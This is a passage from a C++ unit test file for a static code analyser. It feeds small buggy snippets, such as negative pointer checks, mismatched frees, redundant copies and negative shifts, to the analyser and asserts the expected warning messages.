{\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int 